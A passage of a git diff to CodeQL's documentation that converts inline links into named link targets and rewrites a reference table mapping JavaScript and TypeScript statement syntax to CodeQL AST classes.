_CastExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$CastExpr.html +.. _ParExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ParExpr.html +.. _InstanceOfExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$InstanceOfExpr.html +.. _ConditionalExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ConditionalExpr.html +.. _TypeLiteral: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$TypeLiteral.html +.. _ClassInstanceExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ClassInstanceExpr.html +.. _ArrayInit: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayInit.html +.. _Annotation: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Annotation.qll/type.Annotation$Annotation.html \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst index 1eb21c7a666..55ee346d483 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst @@ -10,131 +10,131 @@ CodeQL has a large selection of classes for representing the abstract syntax tre Statement classes ----------------- -This table lists subclasses of `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ representing ECMAScript and TypeScript statements. +This table lists subclasses of Stmt_ representing ECMAScript and TypeScript statements. -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Statement syntax | CodeQL class | Superclasses | Remarks | -+=============================================================================================================================================================================================================================================================================================================================================================================================================================================+==================================================================================================================================================================+==========================================================================================================================================================================================================================================================================================================================================================================================================================+===================================================================================================================================================================================================+ -| `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ExprStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ExprStmt.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Label <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Label.html>`__ ``:`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `LabeledStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LabeledStmt.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``;`` | `EmptyStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$EmptyStmt.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``break`` `Label <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Label.html>`__ ``;`` | `BreakStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakStmt.html>`__ | `JumpStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html>`__, `BreakOrContinueStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakOrContinueStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``case`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``:`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... | `Case <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Case.html>`__ | | can only occur as child of a `SwitchStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$SwitchStmt.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``catch(`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``)`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `CatchClause <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$CatchClause.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__ | can only occur as child of a `TryStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$TryStmt.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``class`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``extends`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``{`` `MemberDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$MemberDeclaration.html>`__... ``}`` | `ClassDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html>`__ | `ClassDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDefinition.html>`__, `ClassOrInterface <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassOrInterface.html>`__, `TypeParameterized <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$TypeParameterized.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``const`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ConstDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ConstDeclStmt.html>`__ | `DeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``continue`` `Label <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Label.html>`__ ``;`` | `ContinueStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ContinueStmt.html>`__ | `JumpStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html>`__, `BreakOrContinueStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakOrContinueStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``debugger;`` | `DebuggerStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DebuggerStmt.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``declare`` ``global`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `GlobalAugmentationDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$GlobalAugmentationDeclaration.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``declare`` ``module`` `StringLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html>`__ ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `ExternalModuleDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExternalModuleDeclaration.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``default:`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... | `Case <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Case.html>`__ | | can only occur as child of a `SwitchStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$SwitchStmt.html>`__; use `isDefault` to distinguish `default` from `case` | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``do`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ ``while`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `DoWhileStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DoWhileStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__, `LoopStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``enum`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``{`` `MemberDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$MemberDeclaration.html>`__... ``}`` | `EnumDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$EnumDeclaration.html>`__ | `NamespaceDefinition <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$NamespaceDefinition.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export * from`` `StringLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html>`__ | `BulkReExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$BulkReExportDeclaration.html>`__ | `ReExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ReExportDeclaration.html>`__, `ExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export default`` `ClassDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html>`__ | `ExportDefaultDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDefaultDeclaration.html>`__ | `ExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export default`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ExportDefaultDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDefaultDeclaration.html>`__ | `ExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export default`` `FunctionDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html>`__ | `ExportDefaultDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDefaultDeclaration.html>`__ | `ExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export {`` `ExportSpecifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportSpecifier.html>`__... ``};`` | `ExportNamedDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportNamedDeclaration.html>`__ | `ExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export`` `DeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__ | `ExportNamedDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportNamedDeclaration.html>`__ | `ExportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ExportDeclaration.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export`` ``=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ExportAssignDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAssignDeclaration.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``export`` ``as`` ``namespace`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``;`` | `ExportAsNamespaceDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/TypeScript.qll/type.TypeScript$ExportAsNamespaceDeclaration.html>`__ | | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``for`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `ForStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__, `LoopStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``for`` ``(`` `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__ ``in`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `ForInStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForInStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__, `LoopStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__, `EnhancedForLoop <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$EnhancedForLoop.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``for`` ``(`` `VarAccess <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$VarAccess.html>`__ ``of`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `ForOfStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForOfStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__, `LoopStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__, `EnhancedForLoop <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$EnhancedForLoop.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``function`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``(`` `Parameter <https://help.semmle.com/qldoc/javascript/semmle/javascript/Variables.qll/type.Variables$Parameter.html>`__... ``)`` ``{`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__... ``}`` | `FunctionDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html>`__ | `Function <https://help.semmle.com/qldoc/javascript/semmle/javascript/Functions.qll/type.Functions$Function.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``if`` ``(`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``)`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ ``else`` `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ | `IfStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$IfStmt.html>`__ | `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``import {`` `ImportSpecifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ImportSpecifier.html>`__... ``from`` `StringLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html>`__ | `ImportDeclaration <https://help.semmle.com/qldoc/javascript/semmle/javascript/ES2015Modules.qll/type.ES2015Modules$ImportDeclaration.html>`__ | `Import <https://help.semmle.com/qldoc/javascript/semmle/javascript/Modules.qll/type.Modules$Import.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``import`` `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__ ``=`` `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ ``;`` | `ImportEqualsDeclaration 